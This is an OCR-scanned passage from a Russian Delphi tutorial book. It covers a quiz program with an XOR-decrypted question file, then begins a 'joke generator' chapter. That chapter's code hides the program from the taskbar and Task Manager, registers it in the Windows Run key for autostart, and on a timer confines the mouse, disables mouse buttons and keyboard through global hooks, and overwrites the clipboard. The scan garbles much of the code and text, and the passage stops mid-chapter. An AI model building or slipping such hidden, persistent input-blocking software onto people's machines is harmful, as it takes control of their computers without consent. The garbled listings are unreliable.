Таблица 13.1. Свойства компонента L a b e l , отображающего результат теста
Свойство
Al ignment
Color
F o n t . C o l o r
Font.Name
Font .S ize
F o n t . S t y l e
V i s i b l e
Значение
taCenter
c l B l a c k
clRed
A r i a l
26
[ f s B o l d ]
False
Пояснение
Выравнивание текста — по центру
Цвет фона — черный
Цвет текста — красный
Название шрифта
Размер шрифта
Начертание шрифта — полужирное
При запуске программы метка невидима
Осуществлять переход к следующему вопросу мы будем с помо-щью панелей. Разместите под вариантами ответов пять компонентовPanel категории Standard. Для каждой из них присвойте свойству Cap-t i o n значение Следующий вопрос>>>>>, свойству Color — значениеclMaroon, а свойству Font. Color — значение clWhite. Присвойте имимена (свойство Name) pi, р2, рЗ, р4 и р5. Для того чтобы убрать вы-пуклость и привести панель к виду стильной кнопки, изменим значениесвойства Bevel lnner на bvRaised, а свойства BevelOuter — наbvLowered. Для всех панелей, кроме pi, присвойте свойству Vis ib leзначение False (изначально будет видна только первая панель).
Поскольку в программе будет предусмотрена возможность динами-ческой загрузки базы вопросов/ответов, нам понадобится диалоговоеокно открытия файла. Для этого разместим на форме компонент Open-Dialog категории Dialogs и присвоим ему имя Openl (свойство Name).Кроме того, определите в свойстве F i l t e r следующий фильтр: i n i -ф а й л ы | * . i n i | В с е файлы|*.*.
Теперь разработаем меню про-граммы. Для этого разместите наформе компонент MainMenu катего-рии Standard и создайте меню в со-ответствии с рис. 13.1.
Разработка меню рассматриваетсяв главе 6, "Программа просмотра ри-сунков".
Полученная форма должнапримерно соответствовать рис. 13.2.
Игра ; |
Заново
Загрузить вопросы
Выход
•г::: : уРис. 13.1. Меню для программы-теста
Разработка программного кода 105
]fo TesterИгра
. ТТсрсый ьопрос:
;<:М:»
ж\
Варианты ответов:
Г г
Следующий вопрос"I
Рис. 13.2. Форма программы-теста
Разработка программного кодаДля начала, объявим все глобальныепеременные:
varForml: TForml;i, a, n, balls, vopr: integer; {различные счетчики и
переменные для подсчета баллов}dir, dir2, ss, zz, yes: string; (путь к файлу с вопросами,
к программе и расшифрованной базе}win: TIniFile; //переменная для работы с ini-файламиmass: array[1..100] of integer; {содержит номера уже
заданных вопросы, чтобы они не повторялись }f1, f2: file of char; //переменные для работы с файламисор: char; //для работы с каждым символом отдельно
Добавим в раздел uses ссылку на модуль IniFiles, который потребу-ется для работы с классом T I n i F i l e . Мы также разработаем четыресобственные процедуры. Объявим их как закрытые члены класса фор-мы:
typeTForml = class(TForm)
private
106 Тест
{ Private declarations }procedure start; //начало тестаprocedure question_select; //выбор вопросаprocedure vars(var variant: integer); {сортировка и
определение правильного варианта ответа}procedure verno(); {проверка: правильно ли ответил
пользователь}public
Public declarations }end;
Теперь создадим сами процедуры в разделе implementation. Про-
procedure TForml.start();begin
Randomize; //Включаем генератор случайных чиселfor i:=l to n do mass[i] := 0; I In - количеству вопросов{$1-} //отключаем контроль ошибок ввода/вывода.//делаем все элементы видимыми для пользователяMemol.Visible := True;RadioGroupl.Visible := True;Labell.Visible := True;
an1.Visible := True;an2.Visible := True;
an3.Visible := True;
an4.Visible := True;
pi.Visible := True;
p2.Visible := False;
p3.Visible := False;
p4.Visible := False;
p5.Visible := False;balls := 0;
Label2.Visible := False; //прячем результатыLabell.Caption := 'Первый вопрос:
1;
dir2 := 'C:\base.bsd'; //путь к расшифрованной базе//копируем зашифрованную базу на диск С:CopyFile(PChar(ss), PChar(dir2), True);//связываем переменную fl с зашифрованным ini-файломAssignFile(fl, ss) ;//связываем переменную f2 с файлом C:\base.bsdAssignFile(f2, dir2);
Reset(fl); //открываем первый файл на чтениеRewrite(f2); //второй - на записьwhile not Eof(fl) do
begin //пока не достигнут конец первого файлаRead(fl, cop); //считываем один символ из файласор :•* Chr(Ord(cop) xor 101); //расшифровываем символ
Разработка программного кода 107
Write(f2, сор); //записываем расшифрованный символ в файлend;CloseFile (f1) ; //закрываем первый файлCloseFile(f2); //закрываем второй файл{$1+} //включаем контроль ошибок ввода/выводаWin := TIniFile.Create(dir2); //работаем с ini-файлом//считываем количество вопросов в базеss := Win.ReadString('num', 'num', ss);
//преобразовываем строку в число и записываем значение в пn := StrToInt(ss);vopr := Random(4) + 1; //случайное число от 1 до 4vars(vopr); {передаем число процедуре vars, которая
сортирует варианты ответов}end;
Эта процедура начинает игру. Сначала делаем все элементы види-мыми и прячем метку, отображающую результат прохождения теста.Затем открываем файл, содержащий вопросы, и считываем из него поодному символу. Каждый байт расшифровывается особо и записываетсяв отдельный файл. Далее мы работаем с расшифрованным файлом как собычным ini-файлом. Первое, что мы считываем, — это общее количе-ство вопросов в базе.
^ТГепе£ь очередь процедуры ques t ion s e l e c t :procedure TForml.question_select() ;label ran; //метка ran для быстрого переходаbegin
Randomize;ran:a := Random(n); //выбираем случайный вопрос из базы//проверяем: не задавали ли мы этот вопрос ранееfor i:=1 to n do
if mass[i] = a then goto ran;for i:=1 to n do
if mass[i] = 0 thenbegin
mass[i] := а; {записываем номер вопроса, чтобы незадавать его больше }
Break;end;
//сбрасываем флажки со всех вариантов ответаanl.Checked := False;an2.Checked := False;апЗ.Checked := False;an4.Checked := False;
end;
108 Тест
Эта процедура случайным образом выбирает вопрос. Затем выпол-няется проверка: не задавался ли этот вопрос ранее. Если мы нашли во-прос, который еще не был задан, то задаем его и помечаем как уже за-данный, чтобы не задавать его больше в текущей сессии.
procedure TForml.verno();begin
if anl.Checked thenif yes = anl.Caption
if an2.Checked thenif yes = an2.Caption
if an3.Checked thenif yes = an3.Caption
if an4.Checked thenif yes = an4.Caption
end;
then
then
then
then
balls :
balls :
balls :
balls :
= balls
= balls
• balls
= balls
+
+
+
+
if
1;
1;
1;
Здесь мы сравниваем правильный ответ с вариантом, который далпользователь, и в случае правильного ответа пополняем счетчик пра-вильных ответов.
procedure TForml.vars(var variant: integer);begin
//вызываем процедуру выбора случайного вопросаquestion_select();case variant of
1: begin
Win := TIniFile.Create(dir2); //открываем ini-файл//считываем вопросMemol.Text :=Win.ReadString('Q', IntToStr(a), Memol.Text);
//считываем правильный вариант ответаanl.Caption :=
Win.ReadString('A', IntToStr(a), anl.Caption);//считываем три неверных варианта к данному вопросуan2.Caption :=
Win.ReadString('Wl', IntToStr(a), an2.Caption);an3.Caption :=Win.ReadString(•W2', IntToStr(a), an3.Caption);
an4.Caption :=
Win.ReadString('W3', IntToStr(a), an4.Caption);Win.Free; //освобождаем ini-файл//помечаем первый вариант как правильныйyes := anl.Caption;
end;2 : begin
Разработка программного кода 109
Win := TIniFile.Create(dir2);Memo1.Text :=Win.ReadString('Q',
an2.Caption :=Win.Readstring('A',
anl.Caption :=Win.Readstring('Wl'
an3.Caption :=Win.ReadString(•W2'
an4.Caption :=
Win.ReadString(•W3'Win.Free;yes := an2.Caption;
end;3: begin
IntToStr(a),
IntToStr(a),
, IntToStr(a)
, IntToStr(a)
, IntToStr(a)
Win := TIniFile.Create(dir2);
Memol.Text :=Win.ReadString('Q',
an3.Caption :=
Wxn.ReadString('A',an2.Caption :=Win.ReadString('Wl
1
anl.Caption :=Win.ReadString( 'W2'
an4.Caption :=
Win.ReadString('W3•Win.Free ;yes := an3.Caption;
end;4: begin
IntToStr(a),
IntToStr(a),
, IntToStr(a)
, IntToStr(a)
, IntToStr(a)
Win := TIniFile.Create(dir2);Memol.Text :=
Win.ReadString('Q',an4.Caption :=
Win.ReadString('A',an2.Caption :=Win.ReadString('Wl
1
an3.Caption :=Win.ReadString('W2'
anl.Caption :=Win.ReadString('W3'
Win.Free;yes := an4.Caption;
end;end;
end;
IntToStr(a),
IntToStr(a),
, IntToStr(a)
, IntToStr(a)
, IntToStr(a)
Memol.Text);
an2.Caption);
, anl.Caption);
, an3.Caption);
, an4.Caption);
Memol.Text);
an3.Caption);
, an2.Caption);
, anl.Caption);
, an4.Caption);
Memol.Text);
an4.Caption);
, an2.Caption);
, an3.Caption);
, anl.Caption);
ПО Тест
Здесь мы вначале запускаем процедуру выбора вопроса. Потом про-веряем: какой вариант ответа является правильным. Затем считываемвопрос и варианты ответов к нему. Сортируем и отображаем все это наформе.
Обработчик события создания главной формы будет выглядеть сле-
procedure TForml.FormCreate(Sender: TObject);begin
Randomize;//получаем каталог, в котором находится наша программаdir := GetCurrentDir;ss := dir + '\comp.ini'; //путь к базе вопросовzz := ss;start(); //начинаем тест
end;
Теперь создадим обработчик события главной формы OnDestroy
522Ei?KJLeTJIE!L5£™ r *--'".', •'""''procedure TForml.FormDestroy(Sender: TObject);begin
DeleteFile('c:\base.bsd'); //удаляем расшифрованную базуend;
Теперь обрабатываем команды меню. Обработчик события OnClickдля пункта Игра -» Заново:г— * • '
procedure TForml.NIClick(Sender: TObject);beginRandomize;
ss := zz;
start(); //начало тестаend;
Поскольку у нас весь основной код вынесен в процедуры, теперьдостаточно только вызвать процедуру начала игры.
Обработчик события OnClick для пункта меню Игра-» Загрузитьбазу:procedure TForml.N2Click(Sender: TObject);beginRandomize;
//начинаем обзор с текущего каталогаOpenl.InitialDir := GetCurrentDir;if not Openl.Execute
then ShowMessage('Вы не выбрали файл!')else begin
ss := Openl.FileName; //открываем выбранный файл
Разработка программного кода 111
zz := ss; //запоминаем путь к базеstart(); //начинаем тест
end;
end;
Здесь мы предлагаем пользователю выбрать через диалоговое окнообзора ini- или любой другой файл, в котором содержатся зашифрован-ные вопросы и варианты ответов. Когда пользователь выбрал файл, мызапускаем процедуру s t a r t и, тем самым, начинаем тест.
Обработчик события OnClick Для rryHKTajwej4ro_Jrfrpa —*_Выход:procedure TForml.N4Click(Sender: TObject);begin
Halt; //выход из программыend;
Теперь обработаем щелчок мышью на панели p i :procedure TForml.plClick(Sender: TObject);begin
Label1.Caption := 'Второй вопрос:';verno(); //принимаем вариант ответаpi.Visible := False; //убираем первую панельр2.Visible := True; //активизируем вторую панельvopr := Random(4) + 1; //выбираем случайный вариант ответаvars(vopr); //задаем вопрос
end;
Здесь мы вначале изменяем заголовок на "Второй вопрос:", послечего принимаем вариант ответа, выбранный пользователем, вызываяпроцедуру verno. Затем готовим форму ко второму вопросу: прячемпервую панель и выводим вторую. Вызываем процедуру vars, котораявыбирает вопрос и отображает его вместе с вариантами ответа.
procedure TForml.p2Click(Sender: TObject);beginLabel1.Caption := 'Третий вопрос:';verno();
p2.Visible := False;
p3.Visible := True;
vopr := Random(4) + 1;
vars(vopr);end;
Здесь происходит то же самое, что и для панели pi, только надписьметки принимает значение "Третий вопрос", мы прячем вторую "кноп-ку" и активизируем третью для следующего вопроса.
112 Тест
Аналогичные обработчики события OnClick создаем для третьей ичет^вертгойпанелей:procedure TFormlbegin
Labell.Captionverno();p3.Visible :=p4.Visible :=
.p3Click(Sender: TObject);
:= 'Четвертый вопрос:';
False;True ;
vopr :• Random(4) + 1;vars(vopr);
end;
procedure TFormlbegin
Labell.Caption
verno();
p4.Visible :=
p5.Visible :=
.p4Click(Sender: TObject);
:= 'Пятый вопрос:';
False;
True;vopr := Random(4) + 1;vars(vopr);
end;
Для пятой (последней) панели обработчик события OnClick будет
procedure TForml.p5Click(Sender: TObject);begin
//проверяем правильность ответа на последний вопросverno();//узнаем, сколько баллов набрал пользовательss := IntToStr(balls);//делаем почти все компоненты невидимымиMemol.Visible := False;р5.Visible := False;RadioGroupl.Visible := False;
Labell.Visible := False;
anl.Visible := False;
an2.Visible := False;
an3.Visible := False;
an4.Visible := False;
Label2.Visible := True; //показываем метку с результатомLabel2.Align := alClient; //растягиваем ее на всю форму//Отображаем процент правильных ответовLabel2.Caption := 'Правильных ответов' +
IntToStr(balls*(100 div 5))+'%';end;
Разработка программного кода 113
После проверки правильности ответа на последний вопрос, мы пря-чем почти все компоненты на форме, оставляя видимой только меткуLabel2 для вывода результата и меню, чтобы можно было продолжитьработу с программой. С помощью метки мы отображаем процент пра-вильных ответов пользователя по формуле: "количество правильныхответов * (100 / количество заданных вопросов)". Пример отображениярезультата теста представлен на рис. 13.3.
Рис. 13.3. Отображение результата теста
Единственное, что осталось сделать, — реализовать имитацию на-жатия кнопки при щелчке на панели мышью. Для того чтобы "оживить"панель, для нее следует создать обработчики двух событий: OnMouse-Down и OnMouseUp. Первое событие возникает при щелчке мышью, авторое — при отпускании кнопки мыши. Для панели pi эти обработчи-K H J ? J > S ! O L i ! M L ^ ^ _______ _I procedure TForml.plMouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);beginpi.Bevellnner := bvLowered;pi.BevelOuter := bvRaised;
end;
I procedure TForml.plMouseUp(Sender: TObject;I Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
8 — 5-1212
114 Тест
beginpi.Bevellnner:pi.BevelOuter:
end;
=bvRaised;=bvLowered;
Для всех остальных панелей обработчики этих событий будут вы-глядеть аналогичным образом за исключением того, что имя p i потре-буется изменить на имя р2, рз, р4 или р5.
Программа тестирования в действии показана на рис. 13.4.
Игра
Первый еопрос:
Какой из этих циклов отсутствует в Delphi?
Варианты: от бет он:
Г foi
Г while
{•" ,'foreacl
С repeat
Следующий вопроо»;
Рис. 13.4. Программа тестирования в действии
Полный исходный код модуляПолный код модуля программы-теста представлен в листинге 13.1.
Листинг 13.1. Модуль программы-теста
unit Unitl;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics,Controls, Forms, Dialogs, ExtCtrls, StdCtrls, inifiles,jpeg, Menus;
type
Полный исходный код модуля 115
Листинг 13.1. Продолжение
TForml = class(TForm)Memo1: TMemo;RadioGroupl: TRadioGroup;pi: TPanel;p2: TPanel;p3: TPanel;p4 : TPanel;p5 : TPanel;anl: TRadioButton;an2: TRadioButton;an3: TRadioButton;an4: TRadioButton;Label1: TLabel;Label2: TLabel;MainMenul: TMainMenu;N1: TMenuItera;N2: TMenuItem;N3: TMenuItem;N4: TMenuItem;Openl: TOpenDialog;procedure FormCreate(Sender: TObject);procedure plClick(Sender: TObject);procedure p2Click(Sender: TObject);procedure p3Click(Sender: TObject);procedure p4Click(Sender: TObject);procedure p5Click(Sender: TObject);procedure ImagelClick(Senderprocedure plMouseDown(SenderButton: TMouseButton; Shift:procedure plMouseUp(Sender:Button: TMouseButton; Shift:procedure p2MouseDown(SenderButton: TMouseButton; Shift:procedure p2MouseUp(Sender:Button: TMouseButton; Shift:procedure p3MouseDown(SenderButton: TMouseButton; Shift:procedure p3MouseUp(Sender:Button: TMouseButton; Shift:procedure p4MouseUp(Sender:Button: TMouseButton; Shift:procedure p4MouseDown(SenderButton: TMouseButton; Shift:procedure p5MouseDown(SenderButton: TMouseButton; Shift:
: TObject);: TObject;TShiftState;TObject;TShiftState;: TObject;TShiftState;TObject;TShiftState;: TObject;TShiftState;TObject;TShiftState;TObject;TShiftState;: TObject;TShiftState;: TObject;TShiftState;
x,
x,
x,
x,
x,
x,
x,
x,
x,
Y:
Y:
Y:
Y:
Y:
Y:
Y:
Y:
Y:
Integer);
Integer);
Integer);
Integer);
Integer);
Integer);
Integer);
Integer);
Integer);
116 Тест
Листинг 13,1. Продолжение
procedure p5MouseUp(Sender: TObject;Button: TMouseButton; Shift: TShiftState; X, Y: Integer);procedure NIClick(Sender: TObject);procedure N2Click(Sender: TObject);procedure N4Click(Sender: TObject);procedure FormDestroy(Sender: TObject);
private
( Private declarations }procedure start; //начало тестаprocedure question_select; //выбор вопросаprocedure vars(var variant: integer); {сортировка и
определение правильного варианта ответа }procedure verno(); {проверка: правильно ли ответил
пользователь}public
{ Public declarations }end;
varForml: TForml;i, a, n, balls, vopr: integer; {различные счетчики и
переменные для подсчета баллов)dir, dir2, ss, zz, yes: string; {путь к файлу с вопросами,
к программе и расшифрованной базе}win: TIniFile; //переменная для работы с ini-файламиmass: array[1..100] of integer; {содержит номера уже
заданных вопросов, чтобы они не повторялись }fl,f2: file of char; //переменные для работы с файламисор: char; //для работы с каждым символом отдельно
implementation
{$R *.dfm}
procedure TForml.vars(var variant: integer);begin
//вызываем процедуру выбора случайного вопросаquestion_select();case variant of
1: begin
Win := TIniFile.Create(dir2); //открываем ini-файл//считываем вопросMemol.Text :=
Win.ReadString('Q', IntToStr(a), Memol.Text);//считываем правильный вариант ответаanl.Caption :=
Полный исходный код модуля 117
Листинг 13.1. Продолжение
Win.Readstring('A', IntToStr(a),
//считываем три неверных варианта
an2.Caption :=
Win.ReadString('
апЗ.Caption : =
Win.ReadString('
an4.Caption :=
Win.ReadString('
Wl1 ,
W2',
W3' ,
IntToStr(a)
IntToStr(a)
IntToStr(a)
Win.Free; //освобождаем ini-файл
//помечаем первый
yes := anl.Caption
end;
2 : begin
anl.Caption);
к данному вопросу
, an2.Caption);
, апЗ.Caption);
, an4.Caption);
вариант как правильный
;
Win := TIniFile.Create
Memol.Text :=
Win.ReadString('
an2.Caption :=
Win.ReadString{'
anl.Caption :=
Win.ReadString('
an3.Caption :=
Win.ReadString('
an4.Caption := .
Win.ReadString('
Win.Free;
yes := an2. Caption
end;
3: begin
Q',
A',
Wl' ,
W 2 \
W3',
Win := TIniFile.Create
Memol.Text :=
Win.ReadString('
an3.Caption :=
Win.ReadString('
an2.Caption :=
Win.ReadString('
anl.Caption :=
Win.ReadString('
an4.Caption :=
Win.ReadString('
Win.Free;
yes := an3.Caption
end;
4 : begin
Q \
A',
Wl',
W2' ,
W3' ,
Win := TIniFile.Create
Memol.Text :=
Win.ReadString('Q',
(dir2);
IntToStr(a),
IntToStr(a),
IntToStr(a)
IntToStr (a)
IntToStr(a)
(dir2);
IntToStr(a),
IntToStr(a),
IntToStr(a)
IntToStr (a)
IntToStr(a)
(dir2);
IntToStr(a),
Memol.Text);
an2.Caption);
, anl.Caption);
, апЗ.Caption);
, an4.Caption);
Memol.Text);
апЗ.Caption);
, an2.Caption);
, anl.Caption);
, an4.Caption);
Memol.Text);
118 Тест
Листинг 13.1. Продолжение
an4.Caption : =Win.ReadString('A' , IntToStr(a), an4.Caption) ;
an2.Caption :=Win.ReadString('Wl', IntToStr(a), an2.Caption);
апЗ.Caption :=Win-.ReadString ( 'W2 ' , IntToStr (a), an3.Caption);
anl.Caption :=Win.ReadString('W3', IntToStr(a), anl.Caption);
Win.Free;yes := an4.Caption;
end;end;
end;
procedure TForml.start();begin
Randomize; //Включаем генератор случайных чиселfor i:=l to n do mass[i] := 0; //n = количеству вопросов{$1-} //отключаем контроль ошибок ввода/вывода//делаем все элементы видимыми для пользователяMemol.Visible := True;RadioGroupl.Visible := True;Labell.Visible := True;anl.Visible := True;an2.Visible :- True;an3.Visible := True;an4.Visible := True;pi.Visible := True;p2.Visible := False;p3.Visible := False;p4.Visible := False;p5 . Visible :•» False;balls := 0;Label2.Visible := False; //прячем результатыLabell.Caption := 'Первый вопрос:
1;
dir2 := 'C:\base.bsd'; //путь к расшифрованной базе//копируем зашифрованную базу на диск С:CopyFile(PChar(ss), PChar(dir2), True);//связываем переменную fl с зашифрованным ini-файломAssignFile(fl, ss);//связываем переменную f2 с файлом C:\base.bsdAssignFile(f2, dir2);Reset (fl); //открываем первый файл на чтениеRewrite(f2); //второй - на записьwhile not Eof(fl) do
Полный исходный код модуля 119
Листинг 13.1. Продолжение
begin //пока не достигнут конец первого файлаRead(fl, cop); //считываем один символ из файласор := Chr(Ord(cop) xor 101); //расшифровываем символWrite(f2, cop); //записываем расшифрованный символ в файл
end;CloseFile(f1); //закрываем первый файлCloseFile(f2); //закрываем второй файл{$1+} //включаем контроль ошибок ввода/выводаWin := TIniFile.Create(dir2); //работаем с ini-файлом//считываем количество вопросов в базеss := Win.ReadString('num', 'num', ss);//преобразовываем строку в число и записываем значение в пn := StrToInt(ss);vopr := Random(4) + 1; //случайное число от 1 до 4vars(vopr); (передаем число процедуре vars, которая
сортирует варианты ответов}end;
procedure TForml.question_select();label ran; //метка ran для быстрого переходаbegin
Randomize;
ran:a := Random(n); //выбираем случайный вопрос из базы//проверяем: не задавали ли мы этот вопрос ранееfor i:=l to n doif mass[i] = a then goto ran;
for i:=l to n doif massfi] = 0 thenbegin
mass[i] := а; (записываем номер вопроса, чтобы незадавать его больше }
Break;end;
//сбрасываем флажки со всех вариантов ответаanl.Checked := False;an2.Checked := False;апЗ.Checked := False;an4.Checked := False;
end;
procedure TForml.verno();begin
if anl.Checked thenif yes = anl.Caption then balls := balls + 1;
if an2.Checked then
120 Тест
Листинг 13.1. Продолжение
if yes = an2.Caption then balls : = balls + 1;
if an3.Checked then
if yes = an3.Caption then balls : = balls + 1;
if an4.Checked then
if yes = an4.Caption then balls := balls + 1;
end;
procedure TForml.N2Click(Sender: TObject);
begin
Randomize;
//начинаем обзор с текущего каталога
Openl.InitialDir := GetCurrentDir;
if not Openl.Execute
then ShowMessage('Вы не выбрали файл!1)
else begin
ss := Openl.FileName; //открываем выбранный файл
zz := ss; //запоминаем путь к базе
start(); //начинаем тест
end;
end;
procedure TForml.FormCreate(Sender: TObject};
begin
Randomize;
//получаем каталог, в котором находится наша программа
dir := GetCurrentDir;
ss : = dir + '\comp.ini'; //путь к базе вопросов
z z : = s s ;
start(); //начинаем тест
end;
procedure TForml.plClick(Sender: TObject);
begin
Labell.Caption := 'Второй вопрос:';
verno (); //принимаем вариант ответа
pi.Visible := False; //убираем первую панель
р2.Visible := True; //активизируем вторую панель
vopr := Random(4) + 1; //выбираем случайный вариант ответа
vars(vopr); //задаем вопрос
end;
procedure TForml.p2Click(Sender: TObject);
begin
Labell.Caption := 'Третий вопрос:';
Полный исходный код модуля 121
Листинг 13.1. Продолжение
р2.Visible : =рЗ.Visible :=
False;True;
vopr := Random(4) 4 1;vars(vopr);
end;
procedure TFormlbegin
Labell.Caption
verno ();p3.Visible :=p4.Visible :=
.p3Click(Sender: TObject);
:= 'Четвертый вопрос: '•;
False;True;
vopr :- Random(4) + 1;vars(vopr);
end;
procedure TFormlbegin
Labell.Caption
verno();p4.Visible :=p5.Visible :=
.p4Click(Sender: TObject);
:= 'Пятый вопрос:';
False;True;
vopr := Random(4) + 1;vars(vopr);
end;
procedure TFormlbegin
.p5Click(Sender: TObject);
verno();//проверяем правильность ответа на последний вопрос//узнаем, сколько баллов набрал пользовательss : = IntToStrMemol.Visibleр5.Visible :=
(balls);:= False;False;
RadioGroupl.Visible : = False;Labell.Visibleanl.Visible :=an2.Visible :=an3.Visible :=an4.Visible :=Label2.VisibleLabel2.Align :
:= False;False;False;False;False;:= True; //показываем метку с результатом
= alClient; //растягиваем ее на всю форму//Отображаем процент правильных ответовLabel2.Caption
end;
:= 'Правильных ответов' +IntToStr(balls*(100 div 5))+'%';
122 Тест
Листинг 13.1. Продолжение
procedure TForml.N4Click(Sender: TObject);begin
Halt;end;
procedure TForml.plMouseDown(Sender: TObject;Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
beginpi.Bevellnner := bvLowered;pi.BevelOuter := bvRaised;
end;
procedure TForml.plMouseUp(Sender: TObject;Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
beginpi.Bevellnner := bvRaised;pi.BevelOuter := bvLowered;
end;
procedure TForml.p2MouseDown(Sender: TObject;Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
beginp2.Bevellnner := bvLowered;p2.BevelOuter := bvRaised;
end;
procedure TForml.p2MouseUp(Sender: TObject; 'Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
beginp2.Bevellnner := bvRaised;p2.BevelOuter := bvLowered;
end;
procedure TForml.p3MouseDown(Sender: TObject;Button: TMouseButton; Shift: TShiftState; X, Y- Integer);
beginp3.Bevellnner := bvLowered;p3.BevelOuter := bvRaised;
end;
procedure TForml.p3MouseUp(Sender: TObject;Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
beginp3.Bevellnner := bvRaised;p3.BevelOuter := bvLowered;
Полный исходный код модуля 123
Листинг 13.1. Окончание
end;
procedure TForml.p4MouseUp(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer)
begin
p4.Bevellnner : = bvRaised;
p4.BevelOuter := bvLowered;
end;
procedure TForml.p4MouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer)
begin
p4.Bevellnner := bvLowered;
p4.BevelOuter := bvRaised;
end;
procedure TForml.p5MouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
p5.Bevellnner := bvLowered;
p5.BevelOuter := bvRaised;
end;
procedure TForml.pbMouseUp(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer)
begin
p5.Bevellnner := bvRaised;
p5.BevelOuter := bvLowered;
end;
procedure TForml.NIClick(Sender: TObject);
begin
Randomize;
s s : = z z ;
start () ;
end;
procedure TForml.FormDestroy(Sender: TObject);
begin
DeleteFile('c:\base.bsd');
end;
end.
Все файлы проекта и исполняемый файл рассмотренной программы находятсяна прилагаемом к книге компакт-диске в папке C h a p t e r _ 1 3 .
124 Генератор шуток
Глава 14
Генератор шуток
Постановка задачиРазработать программу, которая будет работать незаметно для
пользователя и периодически выполнять выбранную случайным обра-зом шуточную процедуру или функцию.
Разработка формыСоздайте новый проект Delphi. Для того чтобы выполнять периоди-
ческие действия, нам понадобится компонент Timer категории System.Программа будет выполнять каждую минуту случайно выбранную шут-ку. Для того чтобы таймер срабатывал каждую минуту, необходимоприсвоить свойству I n t e r v a l значение 60000. Больше никакихсвойств ни для формы, ни для таймера изменять не нужно.
Разработка программного кодаПервое, что нужно сделать для шуточной программы, — скрыть ее
от глаз пользователя. Для этого достаточно создать обработчик событияформы On Paint и добавить в него следующий код:procedure TForml.FormPaint(Sender: TObject)begin
Forml.Hide; //прячем формуend;
Здесь мы при каждой прорисовке формы скрываем ее из виду. Приэтом она не только будет скрыта визуально, но и исчезнет с панели за-дач, а также не будет отображаться на вкладке Приложения в диспетчерезадач Windows.
Еще одно важное действие для нашей программы — реализация ав-тозагрузки вместе с запуском ОС. Для этого создайте обработчик собы-тия главной формы OnCreate и добавьте в него следующий код:procedure TForml.FormCreate(Sender: TObject);
Разработка программного кода 125
reg: TRegistry; //переменная для работы с реестромpath: string; //содержит путь к нашей программе
beginRandomize; //генератор случайных чисел//узнаем путь к программе и ее имяpath := Application.EXEname;reg := TRegistry.Create; //открываем реестр//ветка текущего пользователяreg.RootKey := HKEY_CURRENT_USER;
//открываем раздел автозагрузкиif reg.OpenKey('\Software\Microsoft\Windows\' +
1CurrentVersion\Run', True)
then begin
//записываем ссылку на нашу программу в автозагрузкуreg.WriteString('Joker', path);reg.CloseKey; //закрываем реестрreg.Free; //освобождаем память
end;end;
Чтобы это все работало, необходимо добавить в раздел uses ссылкуна модуль Registry. Теперь все готово для создания программных шу-ток. Сначала o6jb£Bj™j^ej^)6^^ __var
Forml: TForml;//для отключения мыши и клавиатурыDummy: integer = 0;OldKbHook: HHook = 0;//для снятия копии экранаВМР1: Graphics.TBitmap;DC1: HDC;Imagel: TImage;// для поиска случайного рисункаfn:TSearchRec;Finds: integer;
i: integer;endval: integer;err_str: string; //вывод ошибкиtm: TSystemTime; //изменение времениreg: TRegistry; //для работы с реестромJokeNum: shortint; //номер шутки, которую следует выполнитьcurs: TRect; //координаты прямоугольника
Все шутки будут описаны в обработчике события таймера OnTimer.Добавьтевэто^procedure TForml.TimerlTimer(Sender: TObject);begin
126 Генератор шуток
JokeNum := Random(10) + 1 ; //Выбираем случайный номер шуткиcase JokeNum of //выполняем шутку
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
end;
end;
begin//код
end;begin
//кодend;
begin
//кодend;begin
//кодend;
begin
//кодend;
begin
//кодend;begin
//кодend;begin
//кодend;begin
//кодend;begin
//кодend;
первой шутки
второй шутки
третьей шутки
четвертой шутки
пятой шутки
шестой шутки
седьмой шутки
восьмой шутки
девятой шутки
десятой шутки
Это шаблон для генератора шуток. Здесь выбирается случайноечисло от 1 до 10, которое будет определять, какую из шуток выполнитьна этой минуте. Далее будут представлены фрагменты кода, выпол-няющие определенные действия, которые следует вставлять вместокомментария в соответствующую ветку конструкции case.
Шутка №1 — ограничение диапазона движения мыши
Итак, первая шутка заключается в наложении ограничения на диа-пазон движения мыши:
оГ Screen . Width div 2, Screen. Height) ;
Разработка программного кода 127
После этого указатель мыши можно будет перемещать тольков одной половине экрана.
Шутка №2 — отключение кнопок мыши
Вторая шутка будет более радикальной: используя перехваты функ-ций, отключим кнопки мыши — ни левая, ни правая, ни средняя кнопкане будут выполнять никаких действий. Для этого напишите в разделе
function KbHook(code: Integer; wparam: Word;lparam: Longlnt): Longlnt; stdcall;
beginif code < 0 thenResult := CallNextHookEx(oldKbHook, code, wparam, lparam)
elseResult := 1;
end;
После этого напишите код для второй шутки:SystemParametersInfo(SPI_SETFASTTASKSWITCH, I, @Dummy, 0);SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Пшпту, 0) ;OldKbHook:=SetWindowsHookEx(WH mouse, OKbHook, HInstance, 0);
После этого ни одна из кнопок мыши функционировать не будет.
Шутка №3 — отключение клавиатуры
Используя функцию для отключения мыши, можно написать код
SystemParametersInfo(SPI_SETFASTTASKSWITCH, I, @Dummy, 0);SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, SDummy, 0);OldKbHook:=SetWindowsHookEx(WH_KEYBOARD,SKbHook,HInstance,0);
t пищ и 11 щи пнищи щи i и mil iiiiiiinnniiiiiiiiiiiiiiiiiniiiii и • •••IHMIIIIIIHIIHIMIHUI n I inn «IIHIII I n r IIIIHTII • •n11 —•• ••*»!>•» 1141 IIII mm ' " и и ill "ill i in i nmni 11 n i м i i и in i мм i m i I i in I i i ft
Здесь вызывается та же функция, только вместо параметраWH_MOUSE ей передается WH_KEYBOARD. После этого клавиши на клавиа-туре перестанут функционировать.
Шутка №4 — очистка буфера обмена
Четвертая шутка будет очищать буфер обмена и помещать тудасобственный текст. Ее код:ClipBoard.Open; //открываем буфер обменаClipBoard.Clear; //очищаем буфер обмена
